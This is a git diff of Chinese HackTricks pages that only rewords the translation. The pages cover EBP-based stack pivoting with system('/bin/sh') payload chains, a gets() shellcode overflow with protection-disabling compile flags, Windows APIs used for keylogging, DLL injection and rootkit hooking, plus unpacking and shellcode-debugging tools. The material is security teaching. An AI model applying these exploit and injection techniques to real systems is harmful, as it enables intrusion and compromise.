 该技术利用操控 **基指针 (EBP)** 的能力，通过仔细使用 EBP 寄存器和 `leave; ret` 指令序列来链接多个函数的执行。
 
-作为提醒，**`leave`** 基本上意味着：
+提醒一下，**`leave`** 基本上意味着：
 ```
 mov               esp, ebp
 pop               ebp
 ret
 ```
-由于**EBP在栈中**位于EIP之前，因此可以通过控制栈来控制它。
+由于 **EBP 在栈中** 位于 EIP 之前，因此可以通过控制栈来控制它。
 
 ### EBP2Ret
 
-当你**可以更改EBP寄存器但没有直接方法更改EIP寄存器**时，这种技术特别有用。它利用了函数执行完毕后的行为。
+当你可以 **更改 EBP 寄存器但没有直接方法更改 EIP 寄存器** 时，这种技术特别有用。它利用了函数执行完毕后的行为。
 
-如果在`fvuln`执行期间，你设法在栈中注入一个**假EBP**，指向内存中你的shellcode地址所在的区域（加上4个字节以考虑`pop`操作），你可以间接控制EIP。当`fvuln`返回时，ESP被设置为这个构造的位置，随后的`pop`操作将ESP减少4，**有效地使其指向攻击者在其中存储的地址。**\
-注意你**需要知道2个地址**：ESP将要去的地址，以及你需要写入的ESP指向的地址。
+如果在 `fvuln` 执行期间，你设法在栈中注入一个 **假 EBP**，指向内存中你的 shellcode 地址所在的区域（加上 4 字节以考虑 `pop` 操作），你可以间接控制 EIP。当 `fvuln` 返回时，ESP 被设置为这个构造的位置，随后的 `pop` 操作将 ESP 减少 4，**有效地使其指向攻击者在其中存储的地址。**\
+注意你 **需要知道 2 个地址**：ESP 将要去的地址，以及你需要在其中写入的地址。
 
-#### Exploit Construction
+#### 利用构造
 
-首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP将在这里指向并**运行第一个`ret`**。
+首先，你需要知道一个 **可以写入任意数据/地址的地址**。ESP 将指向这里并 **运行第一个 `ret`**。
 
-然后，你需要知道`ret`使用的地址，该地址将**执行任意代码**。你可以使用：
+然后，你需要知道 `ret` 使用的地址，该地址将 **执行任意代码**。你可以使用：
 
-- 一个有效的[**ONE_GADGET**](https://github.com/david942j/one_gadget)地址。
-- **`system()`**的地址，后面跟着**4个垃圾字节**和`"/bin/sh"`的地址（x86位）。
-- 一个**`jump esp;`** gadget的地址（[**ret2esp**](ret2esp-ret2reg.md)），后面跟着要执行的**shellcode**。
-- 一些[**ROP**](rop-return-oriented-programing.md)链
+- 一个有效的 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 地址。
+- **`system()`** 的地址，后面跟 **4 个垃圾字节** 和 `"/bin/sh"` 的地址（x86 位）。
+- 一个 **`jump esp;`** gadget 的地址（[**ret2esp**](ret2esp-ret2reg.md)），后面跟要执行的 **shellcode**。
+- 一些 [**ROP**](rop-return-oriented-programing.md) 链
 
-请记住，在受控内存的这些地址之前，必须有**`4`个字节**，因为**`pop`**部分的`leave`指令。可以利用这4个字节设置一个**第二个假EBP**，并继续控制执行。
+请记住，在受控内存的这些地址之前，必须有 **`4` 字节**，因为 **`pop`** 部分的 `leave` 指令。可以利用这 4 字节设置一个 **第二个假 EBP**，并继续控制执行。
 
-#### Off-By-One Exploit
+#### Off-By-One 利用
 
-这种技术有一个特定的变体，称为“Off-By-One Exploit”。当你**只能修改EBP的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置与**`ret`**必须与EBP共享前三个字节，从而允许在更受限的条件下进行类似的操作。
+这种技术有一个特定的变体，称为 "Off-By-One 利用"。当你 **只能修改 EBP 的最低有效字节** 时使用。在这种情况下，存储要跳转到的地址的内存位置与 **`ret`** 必须与 EBP 共享前 3 个字节，从而允许在更受限的条件下进行类似的操作。
 
-### **EBP Chaining**
+### **EBP 链接**
 
-因此，将一个受控地址放入栈的`EBP`条目中，并在`EIP`中放入一个`leave; ret`的地址，可以**将`ESP`从栈移动到受控的`EBP`地址**。
+因此，将一个受控地址放入栈的 `EBP` 条目中，并在 `EIP` 中放入一个 `leave; ret` 的地址，可以 **将 `ESP` 移动到栈中的受控 `EBP` 地址**。
 
-现在，**`ESP`**被控制，指向所需的地址，下一条要执行的指令是`RET`。为了利用这一点，可以在受控ESP位置放置以下内容：
+现在，**`ESP`** 被控制，指向所需地址，下一条要执行的指令是 `RET`。为了利用这一点，可以在受控 ESP 中放置以下内容：
 
-- **`&(next fake EBP)`** -> 由于`leave`指令中的`pop ebp`加载新的EBP
-- **`system()`** -> 由`ret`调用
-- **`&(leave;ret)`** -> 在system结束后调用，它将ESP移动到假EBP并重新开始
-- **`&("/bin/sh")`**-> `system`的参数
+- **`&(next fake EBP)`** -> 由于 `leave` 指令中的 `pop ebp` 加载新的 EBP
+- **`system()`** -> 由 `ret` 调用
+- **`&(leave;ret)`** -> 在 system 结束后调用，它将 ESP 移动到假 EBP 并重新开始
+- **`&("/bin/sh")`**-> `system` 的参数
 
-基本上，这种方式可以链接多个假EBP以控制程序的流程。
+基本上，这种方式可以链接多个假 EBP 来控制程序的流程。
 
-这就像一个[ret2lib](ret2lib/)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
+这就像 [ret2lib](ret2lib/)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
 
-此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与**栈泄漏**来调用一个成功的函数。这是页面的最终有效载荷：
+此外，这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与 **栈泄漏** 来调用一个成功的函数。这是页面的最终有效载荷：
 ```python
 from pwn import *
 
@@ -91,7 +91,7 @@ print(p.recvline())
 ```
 ## EBP 是无用的
 
-正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件经过一些优化编译，**EBP 永远无法控制 ESP**，因此，任何通过控制 EBP 的漏洞基本上都会失败，因为它没有任何实际效果。\
+正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件是经过某些优化编译的，**EBP 永远无法控制 ESP**，因此，任何通过控制 EBP 的漏洞利用基本上都会失败，因为它没有任何实际效果。\
 这是因为如果二进制文件经过优化，**前言和后记会发生变化**。
 
 - **未优化：**
@@ -170,7 +170,7 @@ pop <reg>                <=== return pointer
 <reg value>
 xchg <reg>, rsp
 ```
-## 参考
+## 参考文献
 
 - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
 - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
index 830109af5..6e075bb54 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
@@ -24,7 +24,7 @@ printf("Returned safely\n");
 return 0;
 }
 ```
-该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
+这个程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
 
 ### 编译
 
@@ -34,8 +34,8 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
 - `-fno-stack-protector`: 禁用栈保护。
 - `-z execstack`: 使栈可执行，这对于执行存储在栈上的 shellcode 是必要的。
-- `-no-pie`: 禁用位置无关可执行文件，使预测我们的 shellcode 将位于哪个内存地址更容易。
-- `-m32`: 将程序编译为 32 位可执行文件，通常用于简化漏洞开发。
+- `-no-pie`: 禁用位置无关可执行文件，使预测我们的 shellcode 将位于的内存地址变得更容易。
+- `-m32`: 将程序编译为 32 位可执行文件，通常在漏洞开发中为了简化而使用。
 
 ### 使用 Pwntools 的 Python 漏洞
 
@@ -68,7 +68,7 @@ p.interactive()
 ```
 这个脚本构造了一个有效载荷，由**NOP滑块**、**shellcode**组成，然后用指向NOP滑块的地址覆盖**EIP**，确保shellcode被执行。
 
-**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以便落入NOP滑块。
+**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以落入NOP滑块。
 
 ## 保护措施
 
diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md
index 786573087..a11a3a88a 100644
--- a/src/reversing/common-api-used-in-malware.md
+++ b/src/reversing/common-api-used-in-malware.md
@@ -75,12 +75,12 @@
 
 ### 其他
 
-- GetAsyncKeyState() -- 键盘记录
-- SetWindowsHookEx -- 键盘记录
-- GetForeGroundWindow -- 获取正在运行的窗口名称 (或浏览器中的网站)
+- GetAsyncKeyState() -- 按键记录
+- SetWindowsHookEx -- 按键记录
+- GetForeGroundWindow -- 获取运行窗口名称 (或浏览器中的网站)
 - LoadLibrary() -- 导入库
 - GetProcAddress() -- 导入库
-- CreateToolhelp32Snapshot() -- 列出正在运行的进程
+- CreateToolhelp32Snapshot() -- 列出运行中的进程
 - GetDC() -- 截图
 - BitBlt() -- 截图
 - InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 访问互联网
@@ -97,7 +97,7 @@
 3. 在进程中写入 DLL 的路径：VirtualAllocEx, WriteProcessMemory
 4. 在进程中创建一个线程以加载恶意 DLL：CreateRemoteThread, LoadLibrary
 
-其他可用的函数：NTCreateThreadEx, RtlCreateUserThread
+其他可用函数：NTCreateThreadEx, RtlCreateUserThread
 
 ### 反射 DLL 注入
 
@@ -131,9 +131,9 @@ DLL 在进程中映射，它将解析导入地址，修复重定位并调用 Dll
 
 - **SSDT** (**系统服务描述符表**) 指向内核函数 (ntoskrnl.exe) 或 GUI 驱动程序 (win32k.sys)，以便用户进程可以调用这些函数。
 - 根套件可能会修改这些指针以指向他控制的地址
-- **IRP** (**I/O 请求包**) 将数据片段从一个组件传输到另一个组件。几乎内核中的所有内容都使用 IRP，每个设备对象都有自己的函数表，可以被钩住：DKOM (直接内核对象操作)
+- **IRP** (**I/O 请求包**) 将数据片段从一个组件传输到另一个组件。几乎所有内核中的内容都使用 IRP，每个设备对象都有自己的函数表，可以被钩住：DKOM (直接内核对象操作)
 - **IAT** (**导入地址表**) 对于解析依赖关系非常有用。可以钩住此表以劫持将被调用的代码。
 - **EAT** (**导出地址表**) 钩子。此钩子可以从 **用户空间** 完成。目标是钩住 DLL 导出的函数。
-- **内联钩子**：这种类型的钩子很难实现。这涉及到修改函数本身的代码。可能通过在开头放置一个跳转来实现。
+- **内联钩子**：这种类型很难实现。这涉及到修改函数本身的代码。可能通过在开头放置一个跳转来实现。
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md
index e5ff9c2c0..ff839ba1c 100644
--- a/src/reversing/cryptographic-algorithms/README.md
+++ b/src/reversing/cryptographic-algorithms/README.md
@@ -6,13 +6,13 @@
 
 ## 识别算法
 
-如果你在代码中**使用了右移和左移、异或以及几种算术操作**，那么它很可能是**加密算法**的实现。这里将展示一些**识别所使用算法的方法，而无需逐步反向工程**。
+如果你在代码中**使用了右移和左移、异或和几种算术操作**，那么它很可能是**加密算法**的实现。这里将展示一些**识别所使用算法的方法，而无需逐步反向工程**。
 
 ### API 函数
 
 **CryptDeriveKey**
 
-如果使用了此函数，可以通过检查第二个参数的值来找到**所使用的算法**：
+如果使用了此函数，可以通过检查第二个参数的值来找到**使用的算法**：
 
 ![](<../../images/image (375) (1) (1) (1) (1).png>)
 
@@ -28,7 +28,7 @@
 
 **CryptCreateHash**
 
-初始化数据流的哈希。如果使用了此函数，可以通过检查第二个参数的值来找到**所使用的算法**：
+初始化数据流的哈希。如果使用了此函数，可以通过检查第二个参数的值来找到**使用的算法**：
 
 ![](<../../images/image (376).png>)
 
@@ -65,7 +65,7 @@
 
 - **初始化阶段/**：创建一个**从0x00到0xFF的值表**（总共256字节，0x100）。这个表通常称为**替代盒**（或SBox）。
 - **打乱阶段**：将**循环遍历之前创建的表**（0x100次迭代的循环），用**半随机**字节修改每个值。为了创建这些半随机字节，使用RC4**密钥**。RC4**密钥**的长度可以**在1到256字节之间**，但通常建议长度超过5字节。通常，RC4密钥为16字节。
-- **异或阶段**：最后，明文或密文与**之前创建的值进行异或**。加密和解密的函数是相同的。为此，将根据需要对创建的256字节进行循环。通常，在反编译的代码中可以通过**%256（模256）**来识别。
+- **异或阶段**：最后，明文或密文与**之前创建的值进行异或**。加密和解密的函数是相同的。为此，将对创建的256字节进行循环，执行必要的次数。这通常在反编译的代码中通过**%256（模256）**来识别。
 
 > [!NOTE]
 > **为了在反汇编/反编译代码中识别RC4，你可以检查两个大小为0x100的循环（使用密钥），然后将输入数据与之前在两个循环中创建的256个值进行异或，可能使用%256（模256）**
@@ -88,7 +88,7 @@
 
 - 使用**替代盒和查找表**
 - 由于使用特定查找表值（常量），可以**区分AES**。_注意**常量**可以**存储**在二进制中**或动态**_**创建**。_
-- **加密密钥**必须是**16的倍数**（通常为32B），并且通常使用16B的**IV**。
+- **加密密钥**必须**可被16整除**（通常为32B），通常使用16B的**IV**。
 
 ### SBox 常量
 
@@ -112,7 +112,7 @@
 
 ![](<../../images/image (382).png>)
 
-因此，可以通过检查**魔法数字**和**初始异或**来识别此算法，看到**非常长的函数**并**比较**一些**指令**与长函数的**实现**（如左移7和左旋转22）。
+因此，可以通过检查**魔法数字**和**初始异或**来识别该算法，看到**非常长的函数**并**比较**一些**指令**与长函数的**实现**（如左移7和左旋转22）。
 
 ## RSA **(非对称加密)**
 
@@ -152,7 +152,7 @@
 
 ## CRC（哈希）
 
-- 更小且更高效，因为它的功能是查找数据中的意外更改
+- 更小且更高效，因为其功能是查找数据中的意外更改
 - 使用查找表（因此你可以识别常量）
 
 ### 识别
diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md
index ed4e706fb..bdd2a1fd5 100644
--- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md
+++ b/src/reversing/cryptographic-algorithms/unpacking-binaries.md
@@ -13,12 +13,11 @@
 
 - **从底部开始**分析打包的二进制文件**，在IDA中向上移动**。解包器在解包代码退出时退出，因此解包器不太可能在开始时将执行传递给解包的代码。
 - 搜索 **JMP** 或 **CALL** 到 **寄存器** 或 **内存区域**。还要搜索 **推送参数和地址方向的函数，然后调用 `retn`**，因为在这种情况下，函数的返回可能会调用在调用之前刚推送到堆栈的地址。
-- 在 `VirtualAlloc` 上设置 **断点**，因为这会在内存中分配程序可以写入解包代码的空间。使用“运行到用户代码”或使用 F8 **获取执行该函数后 EAX 中的值**，然后“**在转储中跟踪该地址**”。你永远不知道这是否是解包代码将要保存的区域。
+- 在 `VirtualAlloc` 上设置 **断点**，因为这会在内存中分配程序可以写入解包代码的空间。使用“运行到用户代码”或使用 F8 **获取执行函数后 EAX 中的值**，然后“**在转储中跟踪该地址**”。你永远不知道这是否是解包代码将要保存的区域。
 - **`VirtualAlloc`** 的参数值为 "**40**" 意味着可读+可写+可执行（一些需要执行的代码将被复制到这里）。
 - **在解包**代码时，通常会发现 **多个调用** 到 **算术操作** 和像 **`memcopy`** 或 **`Virtual`**`Alloc` 这样的函数。如果你发现自己在一个显然只执行算术操作的函数中，并且可能有一些 `memcopy`，建议尝试 **找到函数的结束**（可能是 JMP 或调用某个寄存器）**或**至少找到 **最后一个函数的调用**，然后运行到那里，因为代码并不有趣。
 - 在解包代码时，**注意**每当你 **更改内存区域**，因为内存区域的变化可能表示 **解包代码的开始**。你可以使用 Process Hacker 轻松转储内存区域（进程 --> 属性 --> 内存）。
-- 在尝试解包代码时，知道你是否已经在处理解包代码的好方法（这样你可以直接转储它）是 **检查二进制文件的字符串**。如果在某个时刻你执行了跳转（可能更改了内存区域），并且你注意到 **添加了更多字符串**，那么你可以知道 **你正在处理解包的代码**。\
-然而，如果打包工具已经包含了很多字符串，你可以查看包含“http”这个词的字符串数量，看看这个数字是否增加。
+- 在尝试解包代码时，知道你是否已经在处理解包代码的好方法（这样你可以直接转储它）是 **检查二进制文件的字符串**。如果在某个时刻你执行了跳转（可能更改了内存区域），并且你注意到 **添加了更多字符串**，那么你可以知道 **你正在处理解包的代码**。然而，如果打包工具已经包含了很多字符串，你可以查看包含“http”这个词的字符串数量，看看这个数字是否增加。
 - 当你从内存区域转储可执行文件时，可以使用 [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) 修复一些头部信息。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md
index 8db1b3e23..0ec7c668e 100644
--- a/src/reversing/reversing-tools-basic-methods/README.md
+++ b/src/reversing/reversing-tools-basic-methods/README.md
@@ -43,11 +43,11 @@ dotPeek 是一个反编译器，**反编译并检查多种格式**，包括 **
 ### [ILSpy](https://github.com/icsharpcode/ILSpy) 和 [dnSpy](https://github.com/dnSpy/dnSpy/releases)
 
 [ILSpy 插件用于 Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode)：您可以在任何操作系统上使用它（您可以直接从 VSCode 安装，无需下载 git。点击 **扩展** 并 **搜索 ILSpy**）。\
-如果您需要 **反编译**、**修改** 和 **重新编译**，可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 或其一个积极维护的分支 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)。（**右键点击 -> 修改方法** 以更改函数内部的内容）。
+如果您需要 **反编译**、**修改** 和 **重新编译**，可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 或其一个积极维护的分支 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)。（**右键点击 -> 修改方法** 来更改函数内部的内容）。
 
 ### DNSpy 日志记录
 
-为了让 **DNSpy 在文件中记录一些信息**，您可以使用以下代码片段：
+为了让 **DNSpy 将一些信息记录到文件中**，您可以使用以下代码片段：
 ```cs
 using System.IO;
 path = "C:\\inetpub\\temp\\MyTest2.txt";
@@ -84,75 +84,75 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
 ```
 iisreset /noforce
 ```
-然后，为了开始调试，您应该关闭所有打开的文件，并在 **Debug Tab** 中选择 **Attach to Process...**：
+然后，为了开始调试，您应该关闭所有打开的文件，并在**调试选项卡**中选择**附加到进程...**：
 
 ![](<../../images/image (318).png>)
 
-然后选择 **w3wp.exe** 以附加到 **IIS server** 并点击 **attach**：
+然后选择**w3wp.exe**以附加到**IIS服务器**并点击**附加**：
 
 ![](<../../images/image (113).png>)
 
-现在我们正在调试该进程，是时候停止它并加载所有模块。首先点击 _Debug >> Break All_，然后点击 _**Debug >> Windows >> Modules**_：
+现在我们正在调试该进程，是时候停止它并加载所有模块。首先点击_调试 >> 全部中断_，然后点击_**调试 >> 窗口 >> 模块**_：
 
 ![](<../../images/image (132).png>)
 
 ![](<../../images/image (834).png>)
 
-在 **Modules** 中点击任何模块并选择 **Open All Modules**：
+在**模块**中点击任何模块并选择**打开所有模块**：
 
 ![](<../../images/image (922).png>)
 
-在 **Assembly Explorer** 中右键点击任何模块并点击 **Sort Assemblies**：
+在**程序集资源管理器**中右键点击任何模块并点击**排序程序集**：
 
 ![](<../../images/image (339).png>)
 
-## Java 反编译器
+## Java反编译器
 
 [https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
 [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
 
-## 调试 DLL
+## 调试DLL
 
-### 使用 IDA
+### 使用IDA
 
-- **加载 rundll32**（64位在 C:\Windows\System32\rundll32.exe，32位在 C:\Windows\SysWOW64\rundll32.exe）
-- 选择 **Windbg** 调试器
-- 选择 "**Suspend on library load/unload**"
+- **加载rundll32**（64位在C:\Windows\System32\rundll32.exe，32位在C:\Windows\SysWOW64\rundll32.exe）
+- 选择**Windbg**调试器
+- 选择“**在库加载/卸载时挂起**”
 
 ![](<../../images/image (868).png>)
 
-- 配置执行的 **参数**，输入 **DLL 的路径** 和您想要调用的函数：
+- 配置执行的**参数**，输入**DLL的路径**和您想要调用的函数：
 
 ![](<../../images/image (704).png>)
 
-然后，当您开始调试时，**每个 DLL 加载时执行将被停止**，然后，当 rundll32 加载您的 DLL 时，执行将被停止。
+然后，当您开始调试时，**每个DLL加载时执行将被停止**，然后，当rundll32加载您的DLL时，执行将被停止。
 
-但是，您如何才能到达已加载的 DLL 的代码呢？使用这种方法，我不知道怎么做。
+但是，您如何才能到达已加载的DLL的代码呢？使用这种方法，我不知道怎么做。
 
-### 使用 x64dbg/x32dbg
+### 使用x64dbg/x32dbg
 
-- **加载 rundll32**（64位在 C:\Windows\System32\rundll32.exe，32位在 C:\Windows\SysWOW64\rundll32.exe）
-- **更改命令行**（ _File --> Change Command Line_ ）并设置 DLL 的路径和您想要调用的函数，例如："C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
-- 更改 _Options --> Settings_ 并选择 "**DLL Entry**"。
-- 然后 **开始执行**，调试器将在每个 DLL 主函数处停止，在某个时刻您将 **停在您的 DLL 的 DLL Entry**。从那里，只需搜索您想要放置断点的点。
+- **加载rundll32**（64位在C:\Windows\System32\rundll32.exe，32位在C:\Windows\SysWOW64\rundll32.exe）
+- **更改命令行**（_文件 --> 更改命令行_），并设置DLL的路径和您想要调用的函数，例如：“C:\Windows\SysWOW64\rundll32.exe” “Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll”,DLLMain
+- 更改_选项 --> 设置_并选择“**DLL入口**”。
+- 然后**开始执行**，调试器将在每个DLL主函数处停止，在某个时刻您将**停在您的DLL的DLL入口**。从那里，只需搜索您想要放置断点的点。
 
-请注意，当执行因任何原因在 win64dbg 中停止时，您可以在 **win64dbg 窗口顶部** 查看 **您正在查看的代码**：
+请注意，当执行因任何原因在win64dbg中停止时，您可以在**win64dbg窗口顶部**查看**您正在查看的代码**：
 
 ![](<../../images/image (842).png>)
 
-然后，查看此处可以看到执行在您想要调试的 DLL 中停止。
+然后，查看此处可以看到执行在您想要调试的DLL中停止。
 
-## GUI 应用程序 / 视频游戏
+## GUI应用程序 / 视频游戏
 
-[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序，可以找到在运行游戏的内存中保存的重要值并更改它们。更多信息请参见：
+[**Cheat Engine**](https://www.cheatengine.org/downloads.php)是一个有用的程序，可以找到在运行游戏的内存中保存的重要值并更改它们。更多信息请参见：
 
 {{#ref}}
 cheat-engine.md
 {{#endref}}
 
-[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个针对 GNU Project Debugger (GDB) 的前端/逆向工程工具，专注于游戏。然而，它可以用于任何与逆向工程相关的内容。
+[**PiNCE**](https://github.com/korcankaraokcu/PINCE)是GNU项目调试器（GDB）的前端/逆向工程工具，专注于游戏。然而，它可以用于任何与逆向工程相关的内容。
 
-[**Decompiler Explorer**](https://dogbolt.org/) 是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
+[**Decompiler Explorer**](https://dogbolt.org/)是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
 
 ## ARM & MIPS
 
@@ -160,35 +160,35 @@ cheat-engine.md
 
 ## Shellcodes
 
-### 使用 blobrunner 调试 shellcode
+### 使用blobrunner调试shellcode
 
-[**Blobrunner**](https://github.com/OALabs/BlobRunner) 将 **分配** shellcode 到内存空间，将 **指示** 您 shellcode 被分配的 **内存地址** 并将 **停止** 执行。\
-然后，您需要 **附加调试器**（Ida 或 x64dbg）到该进程，并在 **指示的内存地址** 设置一个 **断点** 并 **恢复** 执行。这样您将调试 shellcode。
+[**Blobrunner**](https://github.com/OALabs/BlobRunner)将**分配**shellcode到内存空间中，**指示**您shellcode被分配的**内存地址**并将**停止**执行。\
+然后，您需要**附加调试器**（Ida或x64dbg）到该进程，并在**指示的内存地址**上放置一个**断点**并**恢复**执行。这样您将调试shellcode。
 
-发布的 GitHub 页面包含包含已编译版本的 zip 文件：[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
-您可以在以下链接找到稍微修改过的 Blobrunner 版本。为了编译它，只需 **在 Visual Studio Code 中创建一个 C/C++ 项目，复制并粘贴代码并构建它**。
+发布的github页面包含包含已编译版本的zip文件：[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
+您可以在以下链接找到稍微修改过的Blobrunner版本。为了编译它，只需**在Visual Studio Code中创建一个C/C++项目，复制并粘贴代码并构建它**。
 
 {{#ref}}
 blobrunner.md
 {{#endref}}
 
-### 使用 jmp2it 调试 shellcode
+### 使用jmp2it调试shellcode
 
-[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) 与 blobrunner 非常相似。它将 **分配** shellcode 到内存空间，并启动一个 **无限循环**。然后，您需要 **附加调试器** 到该进程，**播放开始等待 2-5 秒并按停止**，您将发现自己处于 **无限循环** 中。跳到无限循环的下一条指令，因为它将是对 shellcode 的调用，最后您将发现自己正在执行 shellcode。
+[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将**分配**shellcode到内存空间中，并启动一个**无限循环**。然后，您需要**附加调试器**到该进程，**播放开始等待2-5秒并按停止**，您将发现自己处于**无限循环**中。跳到无限循环的下一条指令，因为它将是对shellcode的调用，最后您将发现自己正在执行shellcode。
 
 ![](<../../images/image (509).png>)
 
-您可以在 [jmp2it 的发布页面](https://github.com/adamkramer/jmp2it/releases/) 下载已编译版本。
+您可以在[发布页面](https://github.com/adamkramer/jmp2it/releases/)下载已编译版本的jmp2it。
 
-### 使用 Cutter 调试 shellcode
+### 使用Cutter调试shellcode
 
-[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 cutter，您可以模拟 shellcode 并动态检查它。
+[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)是radare的GUI。使用Cutter，您可以模拟shellcode并动态检查它。
 
-请注意，Cutter 允许您 "Open File" 和 "Open Shellcode"。在我的情况下，当我将 shellcode 作为文件打开时，它正确反编译，但当我将其作为 shellcode 打开时却没有：
+请注意，Cutter允许您“打开文件”和“打开shellcode”。在我的情况下，当我将shellcode作为文件打开时，它正确反编译，但当我将其作为shellcode打开时却没有：
 
 ![](<../../images/image (562).png>)
 
-为了在您想要的地方开始模拟，请在那里设置一个 bp，显然 cutter 将自动从那里开始模拟：
+为了在您想要的地方开始模拟，请在那里设置一个bp，显然Cutter将自动从那里开始模拟：
 
 ![](<../../images/image (589).png>)
 
@@ -198,10 +198,10 @@ blobrunner.md
 
 ![](<../../images/image (186).png>)
 
-### 反混淆 shellcode 并获取执行的函数
+### 反混淆shellcode并获取执行的函数
 
-您应该尝试 [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)。\
-它将告诉您 shellcode 使用了 **哪些函数**，以及 shellcode 是否在内存中 **解码** 自身。
+您应该尝试[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)。\
+它将告诉您shellcode使用的**哪些函数**以及shellcode是否在内存中**解码**自己。
 ```bash
 scdbg.exe -f shellcode # Get info
 scdbg.exe -f shellcode -r #show analysis report at end of run
@@ -214,11 +214,11 @@ scDbg 还配备了一个图形启动器，您可以选择所需的选项并执
 
 ![](<../../images/image (258).png>)
 
-**Create Dump** 选项将在内存中对 shellcode 进行动态更改时转储最终的 shellcode（用于下载解码后的 shellcode）。**start offset** 可以用于在特定偏移量处启动 shellcode。**Debug Shell** 选项对于使用 scDbg 终端调试 shellcode 很有用（然而，我发现之前解释的任何选项在这方面更好，因为您可以使用 Ida 或 x64dbg）。
+**创建转储** 选项将在内存中对 shellcode 进行动态更改时转储最终的 shellcode（用于下载解码后的 shellcode）。**起始偏移** 可以用于在特定偏移量处启动 shellcode。**调试 Shell** 选项对于使用 scDbg 终端调试 shellcode 很有用（然而，我发现之前解释的任何选项在这方面更好，因为您可以使用 Ida 或 x64dbg）。
 
 ### 使用 CyberChef 反汇编
 
-将您的 shellcode 文件上传为输入，并使用以下配方进行反编译：[https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
+将您的 shellcode 文件作为输入上传，并使用以下配方进行反编译：[https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
 
 ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
 
@@ -232,9 +232,9 @@ scDbg 还配备了一个图形启动器，您可以选择所需的选项并执
 apt-get install libcapstone-dev
 apt-get install libz3-dev
 ```
-并且[安装 keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)（`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`）
+并且[安装keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)（`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`）
